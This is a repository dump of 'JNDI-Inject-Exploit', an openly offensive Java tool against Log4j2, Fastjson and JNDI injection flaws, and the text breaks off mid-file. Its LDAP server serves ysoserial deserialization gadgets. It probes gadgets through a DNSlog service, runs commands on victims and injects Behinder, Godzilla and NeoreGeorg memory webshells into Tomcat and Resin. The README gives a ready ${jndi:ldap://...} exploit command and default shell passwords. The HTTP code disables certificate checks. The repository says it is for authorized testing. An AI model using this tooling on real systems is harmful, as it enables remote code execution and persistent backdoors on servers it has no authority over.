├── .gitignore ├── src └── main │ ├── resources │ ├── BehinderFilter.class │ ├── GodzillaFilter.class │ ├── MyObjectLoader.class │ ├── BehinderServlet.class │ ├── GodzillaServlet.class │ ├── NeoreGeorgFilter.class │ ├── NeoreGeorgServlet.class │ ├── ResinMemShellServlet.class │ ├── TomcatShortMemShellFilter.class │ └── TomcatShortMemShellServlet.class │ └── java │ └── io │ └── github │ └── exp1orer │ ├── util │ ├── Dnslog.java │ ├── GeneratePayload.java │ ├── Config.java │ ├── Parser.java │ ├── HttpUtil.java │ ├── MemoryShell.java │ └── CommandEcho.java │ ├── server │ └── LDAPServer.java │ └── StartUp.java ├── pom.xml ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | out/ 3 | target/ 4 | config.properties -------------------------------------------------------------------------------- /src/main/resources/BehinderFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/BehinderFilter.class -------------------------------------------------------------------------------- /src/main/resources/GodzillaFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/GodzillaFilter.class -------------------------------------------------------------------------------- /src/main/resources/MyObjectLoader.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/MyObjectLoader.class -------------------------------------------------------------------------------- /src/main/resources/BehinderServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/BehinderServlet.class -------------------------------------------------------------------------------- /src/main/resources/GodzillaServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/GodzillaServlet.class -------------------------------------------------------------------------------- /src/main/resources/NeoreGeorgFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/NeoreGeorgFilter.class -------------------------------------------------------------------------------- /src/main/resources/NeoreGeorgServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/NeoreGeorgServlet.class -------------------------------------------------------------------------------- /src/main/resources/ResinMemShellServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/ResinMemShellServlet.class -------------------------------------------------------------------------------- /src/main/resources/TomcatShortMemShellFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/TomcatShortMemShellFilter.class -------------------------------------------------------------------------------- /src/main/resources/TomcatShortMemShellServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp1orer/JNDI-Inject-Exploit/HEAD/src/main/resources/TomcatShortMemShellServlet.class -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | io.github.exp1orer 8 | JNDI-Inject-Exploit 9 | 0.1-SNAPSHOT 10 | 11 | 12 | 13 | 14 | org.apache.maven.plugins 15 | maven-compiler-plugin 16 | 17 | 8 18 | 8 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 exp1orer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/Dnslog.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONArray; 5 | import com.alibaba.fastjson.JSONException; 6 | 7 | import java.io.*; 8 | import java.util.Map; 9 | 10 | public class Dnslog { 11 | public static String platform; 12 | public static String api; 13 | public static String token; 14 | public static String rootDomain; 15 | public static long sleep; 16 | 17 | public static String getRandomDomain(int length) { 18 | String randomStr = Parser.getRandomStr(length); 19 | return randomStr + "." + rootDomain; 20 | 21 | } 22 | 23 | public static boolean getRecord(String domain) { 24 | String url = api.replace("{token}", token).replace("{filter}", domain); 25 | boolean resp = HttpUtil.connection(url, "GET"); 26 | try { 27 | String responseBody = HttpUtil.getResponseBody(); 28 | Map result = JSON.parseObject(responseBody, Map.class); 29 | if (result == null || ((JSONArray) result.get("data")).size() == 0) { 30 | return false; 31 | } 32 | } catch (IOException io) { 33 | io.printStackTrace(); 34 | return false; 35 | } catch (JSONException jsonException) { 36 | jsonException.printStackTrace(); 37 | return false; 38 | } 39 | 40 | return true; 41 | } 42 | 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/GeneratePayload.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import com.unboundid.util.Base64; 4 | import ysoserial.Serializer; 5 | import ysoserial.payloads.ObjectPayload; 6 | 7 | public class GeneratePayload { 8 | public static String getPayload(String payloadType, String command) { 9 | if (payloadType == null || command == null) { 10 | return null; 11 | } 12 | 13 | Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); 14 | if (payloadClass == null) { 15 | System.out.println("[-] Not support " + payloadType + " gadget."); 16 | return null; 17 | } 18 | 19 | try { 20 | final ObjectPayload payload = payloadClass.newInstance(); 21 | final Object object = payload.getObject(command); 22 | byte[] serialize = Serializer.serialize(object); 23 | return Base64.encode(serialize); 24 | } catch (Throwable e) { 25 | e.printStackTrace(); 26 | } 27 | 28 | return null; 29 | } 30 | 31 | public static String formatCommand(final String oldCommand) { 32 | if (oldCommand.startsWith("ping=")) { 33 | String[] split = oldCommand.split("="); 34 | String key = split[0]; 35 | String value = split[1]; 36 | if ("ping".equalsIgnoreCase(key)) { 37 | return String.format("ping -nc 1 %s", value); 38 | } 39 | } 40 | 41 | return oldCommand; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/Config.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import io.github.exp1orer.server.LDAPServer; 4 | 5 | import java.io.*; 6 | import java.util.Properties; 7 | 8 | public class Config { 9 | private Config() {} 10 | 11 | static { 12 | // 必须配置项 13 | String[] keys = new String[]{ "Api", "Token", "Domain", "EnableLDAPLog", "EnableHttpLog"}; 14 | String pwd = System.getProperty("user.dir"); 15 | Properties properties = new Properties(); 16 | try { 17 | BufferedReader br = new BufferedReader(new FileReader(pwd + File.separator + "config.properties")); 18 | properties.load(br); 19 | 20 | for (String key : keys) { 21 | if (properties.getProperty(key) == null) { 22 | System.out.println(String.format("%s不能为空,请检查配置文件.")); 23 | System.exit(1); 24 | } 25 | 26 | Dnslog.platform = properties.getProperty("Platform"); 27 | Dnslog.api = properties.getProperty("Api"); 28 | Dnslog.token = properties.getProperty("Token"); 29 | Dnslog.rootDomain = properties.getProperty("Domain"); 30 | Dnslog.sleep = properties.getProperty("Sleep") == null ? 5 : Long.parseLong(properties.getProperty("Sleep")); 31 | LDAPServer.enableLDAPLog = "True".equalsIgnoreCase(properties.getProperty("EnableLDAPLog")); 32 | HttpUtil.enableHttpLog = "True".equalsIgnoreCase(properties.getProperty("EnableHttpLog")); 33 | } 34 | } catch (FileNotFoundException notFoundException) { 35 | System.out.println("config.properties文件不能为空,必须配置DNSLOG!"); 36 | System.exit(1); 37 | } catch (IOException io) { 38 | io.printStackTrace(); 39 | System.exit(1); 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/Parser.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | import java.util.Random; 6 | 7 | public class Parser { 8 | public Map parse(String[] args) { 9 | Map argsMap = new HashMap(); 10 | for (String arg : args) { 11 | String[] strings = arg.split("=", 2); 12 | argsMap.put(strings[0], strings[1]); 13 | } 14 | 15 | return argsMap; 16 | } 17 | 18 | public static Map parseHeaders(String headers) { 19 | if (headers == null) { 20 | return null; 21 | } 22 | Map map = new HashMap(); 23 | String[] header = headers.split(";"); 24 | String key; 25 | String value; 26 | for (String head : header) { 27 | key = head.substring(0, head.indexOf(":")).trim(); 28 | value = head.substring(head.indexOf(":") - 1).trim(); 29 | map.put(key, value); 30 | } 31 | 32 | return map; 33 | } 34 | 35 | public static String getRandomStr(int length) { 36 | Random random = new Random(); 37 | StringBuffer sb = new StringBuffer(); 38 | for (int i = 0; i < length; i++) { 39 | int number = random.nextInt(3); 40 | long result = 0; 41 | switch (number) { 42 | case 0: 43 | result = Math.round(Math.random() * 25 + 65); 44 | sb.append(String.valueOf((char) result)); 45 | break; 46 | case 1: 47 | result = Math.round(Math.random() * 25 + 97); 48 | sb.append(String.valueOf((char) result)); 49 | break; 50 | case 2: 51 | sb.append(String.valueOf(new Random().nextInt(10))); 52 | break; 53 | } 54 | } 55 | 56 | return sb.toString(); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JNDI-Inject-Exploit 2 | 3 | ![JNDI-Inject-Exploit](https://socialify.git.ci/exp1orer/JNDI-Inject-Exploit/image?description=1&font=Inter&forks=1&issues=1&language=1&owner=1&pattern=Plus&stargazers=1&theme=Light) 4 | 5 | ## 免责声明 6 | 7 | 本工具仅面向**合法授权的企业安全测试**,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。** 8 | 9 | ## Introduce 10 | 11 | > 本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类,通过LDAP服务器返回原生Java反序列化数据,受害者(客户端)在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。 12 | > 13 | > Solve the high version of JDK Bypass, like FastJson, Jackson, Log4j2, native JNDI injection vulnerabilities, and detect locally available deserialization gadgets to achieve command execution, echo command execution, and memory shell injection. 14 | 15 | ## ChangeLog 16 | 17 | **0.3 Version** 18 | 19 | - 新增Tomcat一句话内存马 20 | - 新增Resin一句话内存马 21 | - 新增漏洞环境 22 | 23 | *** 24 | 25 | **v0.2 Version** 26 | 27 | - 修复已知bug 28 | - 支持从文件中读取HTTP请求 29 | 30 | *** 31 | 32 | **v0.1 Version** 33 | 34 | - Gadget探测 35 | - 回显命令执行 36 | - 内存马注入 37 | 38 | ## Support 39 | 40 | - 本地gadget探测 41 | - 回显命令执行 42 | - Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马 43 | - Tomcat/Resin 一句话内存马 44 | 45 | ## Test 46 | 47 | 漏洞环境请转至 v0.3 Version Releases处下载,运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务,访问首页的超链接后的id参数中存在 `Log4j2`漏洞。 48 | 49 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20220119150756.png) 50 | 51 | ## Usage 52 | 53 | ```shell 54 | java -jar JNDI-Inject-Exploit-[version]-all.jar 55 | ``` 56 | 57 | 无指定任何参数的情况下将显示帮助信息. 58 | 59 | ``` 60 | Usage: 61 | java -jar JNDI-Inject-Exploit-0.1-all.jar [options] 62 | 63 | Options: 64 | ip LDAP Server IP(如VPS则指定公网IP) 65 | port LDAP Server 监听端口,默认为1389 66 | url 目标URL,指定headers和body参数可发送完整HTTP请求 67 | file 指定HTTP请求数据包的文件,将根据该文件内容构造完整HTTP请求 68 | method 指定HTTP请求方法,默认为GET 69 | headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value 70 | body 指定HTTP请求体内容 71 | proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S) 72 | ``` 73 | 74 | **支持探测以下Gadget** 75 | 76 | * BeanShell1 77 | * CommonsBeanutils1 78 | * CommonsBeanutils2 79 | * CommonsCollections1 80 | * CommonsCollections2 81 | * CommonsCollections3 82 | * CommonsCollections4 83 | * CommonsCollections5 84 | * CommonsCollections6 85 | * CommonsCollections7 86 | * CommonsCollections8 87 | * CommonsCollections9 88 | * CommonsCollections10 89 | * CommonsCollectionsK1 90 | * CommonsCollectionsK2 91 | * CommonsCollectionsK3 92 | * CommonsCollectionsK4 93 | * Groovy1 94 | * Weblogic2555 95 | * Jdk7u21 96 | * ROME 97 | * Spring1 98 | * Spring2 99 | 100 | ## Config 101 | 102 | > 使用该工具必须在运行目录下新建 `config.properties`文件,配置DNSLOG平台信息,以下是示例配置文件。 103 | > 104 | > JNDI注入的漏洞场景为必须出网环境,因此使用Dnslog平台探测Gadget,sleep属性指定发送Gadget Payload后等待Dnslog平台的响应时间(具体数值根据网络环境及Dnslog平台自定义)。 105 | 106 | ```properties 107 | # Dnslog平台名称(非必须) 108 | Platform=ceye 109 | # Dnslog平台查询API 110 | Api=http://api.ceye.io/v1/records?token={token}&type=dns&filter={filter} 111 | # Dnslog平台鉴权Token 112 | Token=xxxx 113 | # Dnslog平台顶级域名 114 | Domain=xxxx.ceye.io 115 | # 等待Dnslog平台响应时间(非必须,默认为5秒) 116 | Sleep=10 117 | # 开启LDAP请求日志打印 118 | EnableLDAPLog=False 119 | # 开启Http请求日志打印 120 | EnableHttpLog=False 121 | ``` 122 | 123 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226143410.png) 124 | 125 | ## Example 126 | 127 | **文件内容(如果是https的话需要在Host头中添加https://)** 128 | 129 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211229105716.png) 130 | 131 | **从文件中读取HTTP请求进行漏洞利用** 132 | 133 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211229104932.png) 134 | 135 | **LDAP查询的对象名称可为任意字符(示例为EvilObject),LDAPServer拦截客户端搜索结果获取查询名称,并根据该名称返回结果,因此查询任何名称均可运行。** 136 | 137 | ``` 138 | java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168.0.118:8190/log?id=$%7bjndi:ldap://192.168.0.104:1389/EvilObject%7d" 139 | ``` 140 | 141 | **Gadget探测** 142 | 143 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png) 144 | 145 | **可利用Gadget信息,如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)** 146 | 147 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png) 148 | 149 | **回显命令执行** 150 | 151 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142425.png) 152 | 153 | **切换为普通命令执行gadget并执行 `calc` 命令** 154 | 155 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142509.png) 156 | 157 | (目标受害机成功执行命令) 158 | 159 | ![img](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211217172927.png) 160 | 161 | ## MemoryShell 162 | 163 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221123751.png) 164 | 165 | **内存马注入 (默认内存马路径为/favicondemo.ico, 密码为pass1024), 回显Memory shell inject success表示注入成功. (NeoreGeorg不支持自定义密码, 默认密码为pass1024, 路径可自定义)** 166 | 167 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221123915.png) 168 | 169 | ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211221124124.png) 170 | 171 | ## References 172 | 173 | **本项目参考自以下优秀的开源项目:** 174 | 175 | [wyzxxz/shiro_rce_tool: shiro 反序列 命令执行辅助检测工具](https://github.com/wyzxxz/shiro_rce_tool) 176 | 177 | [feihong-cs/Java-Rce-Echo: Java RCE 回显测试代码](https://github.com/feihong-cs/Java-Rce-Echo) 178 | 179 | [j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)](https://github.com/j1anFen/shiro_attack) 180 | 181 | 182 | ## Stargazers over time 183 | 184 | [![Stargazers over time](https://starchart.cc/exp1orer/JNDI-Inject-Exploit.svg)](https://starchart.cc/exp1orer/JNDI-Inject-Exploit) 185 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/server/LDAPServer.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.server; 2 | 3 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 4 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 5 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 6 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 8 | import com.unboundid.ldap.listener.interceptor.InterceptedSearchOperation; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPException; 11 | import com.unboundid.ldap.sdk.LDAPResult; 12 | import com.unboundid.ldap.sdk.ResultCode; 13 | import com.unboundid.util.Base64; 14 | 15 | import javax.net.ServerSocketFactory; 16 | import javax.net.SocketFactory; 17 | import javax.net.ssl.SSLSocketFactory; 18 | import java.net.InetAddress; 19 | import java.net.MalformedURLException; 20 | import java.net.URL; 21 | import java.net.UnknownHostException; 22 | import java.text.ParseException; 23 | import java.util.HashMap; 24 | import java.util.Map; 25 | 26 | public class LDAPServer implements Runnable { 27 | private static final String LDAP_BASE = "dc=example,dc=com"; 28 | private String gadget = "CommonsBeanutils1"; 29 | private Integer port; 30 | private String ip; 31 | 32 | public boolean gadgetFlag; 33 | public boolean echoFlag; 34 | public static String serializedData; 35 | public static boolean enableLDAPLog; 36 | public static Map gadgetType = new HashMap(); 37 | public final String[] gadgets = new String[]{ 38 | "BeanShell1", 39 | "CommonsBeanutils1", 40 | "CommonsBeanutils2", 41 | "CommonsCollections1", 42 | "CommonsCollections2", 43 | "CommonsCollections3", 44 | "CommonsCollections4", 45 | "CommonsCollections5", 46 | "CommonsCollections6", 47 | "CommonsCollections7", 48 | "CommonsCollections8", 49 | "CommonsCollections9", 50 | "CommonsCollections10", 51 | "CommonsCollectionsK1", 52 | "CommonsCollectionsK2", 53 | "CommonsCollectionsK3", 54 | "CommonsCollectionsK4", 55 | "Groovy1", 56 | "Weblogic2555", 57 | "Jdk7u21", 58 | "ROME", 59 | "Spring1", 60 | "Spring2" 61 | }; 62 | 63 | public LDAPServer(String ip, int port) { 64 | this.ip = ip; 65 | this.port = port; 66 | } 67 | 68 | public LDAPServer(String ip, int port, String gadget) { 69 | this.ip = ip; 70 | this.port = port; 71 | this.gadget = gadget; 72 | } 73 | 74 | @Override 75 | public void run() { 76 | try { 77 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 78 | config.setListenerConfigs(new InMemoryListenerConfig("listen", 79 | InetAddress.getByName("0.0.0.0"), port, 80 | ServerSocketFactory.getDefault(), 81 | SocketFactory.getDefault(), 82 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 83 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(String.format("http://%s:%d/#Object", ip, port)))); 84 | InMemoryDirectoryServer server = new InMemoryDirectoryServer(config); 85 | System.out.println("[+] LDAP Listening on: " + ip + ":" + String.valueOf(port)); 86 | server.startListening(); 87 | } catch (LDAPException e) { 88 | System.out.println("LDAP Server启动失败,异常信息: " + e.toString()); 89 | } catch (UnknownHostException unknownHostException) { 90 | unknownHostException.printStackTrace(); 91 | } catch (MalformedURLException urlException) { 92 | urlException.printStackTrace(); 93 | } 94 | } 95 | 96 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 97 | private URL codebase; 98 | 99 | public OperationInterceptor(URL codebase) { 100 | this.codebase = codebase; 101 | } 102 | 103 | @Override 104 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 105 | String base = result.getRequest().getBaseDN(); 106 | if (result.getConnectedAddress() != null && enableLDAPLog) { 107 | System.out.println("[*] LDAP request from address: " + ((InterceptedSearchOperation) result).getClientConnection().getSocket().getInetAddress().getHostAddress()); 108 | } 109 | if (base.trim().length() >= 1) { 110 | Entry entry = new Entry(base); 111 | try { 112 | sendResult(result, base, entry); 113 | } catch (LDAPException e) { 114 | e.printStackTrace(); 115 | } 116 | } 117 | } 118 | 119 | protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException { 120 | e.addAttribute("javaClassName", "foo"); 121 | try { 122 | e.addAttribute("javaSerializedData", Base64.decode(LDAPServer.serializedData)); 123 | } catch (ParseException parseException) { 124 | parseException.printStackTrace(); 125 | } 126 | result.sendSearchEntry(e); 127 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 128 | } 129 | } 130 | 131 | static { 132 | gadgetType.put("commandExecute", "BeanShell1,CommonsBeanutils2,CommonsCollections1,CommonsCollections5,CommonsCollections6,CommonsCollections7,CommonsCollections9,CommonsCollectionsK3,CommonsCollectionsK4,Groovy1,Weblogic2555"); 133 | gadgetType.put("codeExecute", "CommonsBeanutils1,CommonsCollections2,CommonsCollections3,CommonsCollections4,CommonsCollections8,CommonsCollections10,CommonsCollectionsK1,CommonsCollectionsK2,Jdk7u21,ROME,Spring1,Spring2"); 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/HttpUtil.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import io.github.exp1orer.StartUp; 4 | 5 | import javax.net.ssl.*; 6 | import java.io.*; 7 | import java.net.*; 8 | import java.security.KeyManagementException; 9 | import java.security.NoSuchAlgorithmException; 10 | import java.security.cert.CertificateException; 11 | import java.security.cert.X509Certificate; 12 | import java.util.HashMap; 13 | import java.util.List; 14 | import java.util.Map; 15 | 16 | public class HttpUtil { 17 | public static InputStream respInputStream; 18 | public static boolean enableHttpLog; 19 | 20 | static { 21 | try { 22 | SSLContext sslcontext = SSLContext.getInstance("SSL"); 23 | sslcontext.init(null, new TrustManager[] { new miTM() }, null); 24 | HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { 25 | @Override 26 | public boolean verify(String s, SSLSession sslsession) { 27 | return true; 28 | } 29 | }; 30 | HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); 31 | HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); 32 | } catch (NoSuchAlgorithmException e) { 33 | e.printStackTrace(); 34 | } catch (KeyManagementException e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | 39 | private static class miTM implements TrustManager, X509TrustManager { 40 | public boolean isServerTrusted(X509Certificate[] certs) { 41 | return true; 42 | } 43 | 44 | public boolean isClientTrusted(X509Certificate[] certs) { 45 | return true; 46 | } 47 | 48 | @Override 49 | public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {} 50 | 51 | @Override 52 | public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {} 53 | 54 | @Override 55 | public X509Certificate[] getAcceptedIssuers() { 56 | return null; 57 | } 58 | } 59 | 60 | public static boolean connection(String url, String method) { 61 | return connection(url, method, null, null, null); 62 | } 63 | 64 | public static boolean connection(String url, String method, Map headers) { 65 | return connection(url, method, headers, null, null); 66 | } 67 | 68 | public static boolean connection(String url, String method, Map headers, String body, Proxy proxy) { 69 | HttpURLConnection conn; 70 | 71 | try { 72 | conn = (HttpURLConnection) (proxy != null ? new URL(url).openConnection(proxy) : new URL(url).openConnection()); 73 | conn.setInstanceFollowRedirects(false); 74 | // 连接超时时间为15秒 75 | conn.setConnectTimeout(15000); 76 | // 读取超时为30秒 77 | conn.setReadTimeout(30000); 78 | conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0"); 79 | if (headers != null) { 80 | for (String key : headers.keySet()) { 81 | conn.setRequestProperty(key, headers.get(key)); 82 | } 83 | } 84 | if ("GET".equalsIgnoreCase(method)) { 85 | conn.setRequestMethod(method); 86 | conn.connect(); 87 | } else if ("POST".equalsIgnoreCase(method)) { 88 | conn.setDoOutput(true); 89 | if (body != null) { 90 | OutputStream os = conn.getOutputStream(); 91 | os.write(body.getBytes()); 92 | } 93 | } 94 | 95 | Map> fields = conn.getHeaderFields(); 96 | if (!fields.isEmpty()) { 97 | // 不打印Dnslog平台请求 98 | if (!url.contains("ceye.io")) { 99 | if (enableHttpLog) { 100 | System.out.println("[*] Send Http Request: " + url); 101 | } 102 | } 103 | // System.out.println(conn.getResponseCode()); 104 | respInputStream = conn.getInputStream(); 105 | } 106 | 107 | } catch (IOException ioException) { 108 | // ioException.printStackTrace(); 109 | return false; 110 | } 111 | 112 | return true; 113 | } 114 | 115 | public static String getResponseBody() throws IOException { 116 | String line; 117 | StringBuffer sb = new StringBuffer(); 118 | if (respInputStream != null) { 119 | BufferedReader br = new BufferedReader(new InputStreamReader(respInputStream)); 120 | while ((line = br.readLine()) != null) { 121 | sb.append(line); 122 | } 123 | } 124 | 125 | return sb.toString(); 126 | } 127 | 128 | public static boolean formatHttp(String file) throws IOException { 129 | String line, host, key, value, uri = "", url = "", method = "GET"; 130 | StringBuffer body = new StringBuffer(); 131 | String protocol = "http"; 132 | boolean httpRequestFlag = false, httpBody = false; 133 | Map headers = new HashMap<>(); 134 | BufferedReader br = new BufferedReader(new FileReader(file)); 135 | 136 | while ((line = br.readLine()) != null) { 137 | if (!httpRequestFlag) { 138 | method = line.split(" ")[0]; 139 | if (!"GET".equalsIgnoreCase(method) && !"POST".equalsIgnoreCase(method)) { 140 | System.out.println("请检查文件内容是否为HTTP请求!"); 141 | System.exit(1); 142 | } 143 | httpRequestFlag = true; 144 | uri = line.split(" ")[1].trim(); 145 | continue; 146 | } 147 | 148 | if (line.startsWith("Host")) { 149 | host = line.substring(line.indexOf(":") + 1).trim(); 150 | if (host.startsWith("https://")) { 151 | protocol = "https"; 152 | host = host.replace("https://", ""); 153 | } 154 | url = String.format("%s://%s%s", protocol, host, uri); 155 | continue; 156 | } 157 | 158 | // 处理请求头 159 | if (!httpBody && line.split(":").length >= 2) { 160 | key = line.substring(0, line.indexOf(":")).trim(); 161 | value = line.substring(line.indexOf(":") + 1).trim(); 162 | headers.put(key, value); 163 | continue; 164 | } 165 | 166 | if ("".equals(line)) { 167 | httpBody = true; 168 | } 169 | 170 | if (httpBody && !"".equals(line)) { 171 | body.append(line); 172 | } 173 | } 174 | 175 | StartUp.method = method; 176 | StartUp.url = url; 177 | StartUp.headers = headers; 178 | StartUp.body = body.toString(); 179 | 180 | return true; 181 | } 182 | 183 | public static String normalzedUrl(String url) throws Exception { 184 | Map parameter = new HashMap(); 185 | URI uri = new URI(url); 186 | String scheme = uri.getScheme(); 187 | String host = uri.getHost(); 188 | int port = uri.getPort(); 189 | String path = uri.getPath(); 190 | String[] querys = uri.getQuery().split("&"); 191 | String key, value; 192 | StringBuffer sb = new StringBuffer(); 193 | 194 | for (String query : querys) { 195 | String[] split = query.split("="); 196 | key = split[0]; 197 | value = URLEncoder.encode(split[1]); 198 | parameter.put(key, value); 199 | } 200 | 201 | sb.append(scheme + "://" + host + (port == -1 ? "" : ":" +String.valueOf(port)) + path + "?"); 202 | for (String tmp_key : parameter.keySet()) { 203 | sb.append(tmp_key + "=" + parameter.get(tmp_key) + "&"); 204 | } 205 | sb.setLength(sb.length() - 1); 206 | 207 | return sb.toString(); 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/MemoryShell.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import javassist.*; 4 | 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | import java.util.Base64; 8 | 9 | public class MemoryShell { 10 | private static MemoryShell instance = new MemoryShell(); 11 | private static String className = ""; 12 | 13 | private MemoryShell() {} 14 | 15 | public static MemoryShell getInstance() { 16 | return instance; 17 | } 18 | 19 | public static String process(String name) { 20 | if ("".equals(name.trim()) || name == null) { 21 | return ""; 22 | } 23 | 24 | if ("ResinMemShellServlet".equals(name)) { 25 | return instance.resinMemoryShell(name); 26 | } else { 27 | return instance.tomcatMemoryShell(name + ".class"); 28 | } 29 | 30 | } 31 | 32 | /** 33 | * Tomcat内存马注入 34 | * @param className 类名 35 | * @return 36 | */ 37 | private String tomcatMemoryShell(String className) { 38 | String payload = renameClass("User", "MyObjectLoader.class"); 39 | String bytecodes = renameClass("Login", className); 40 | 41 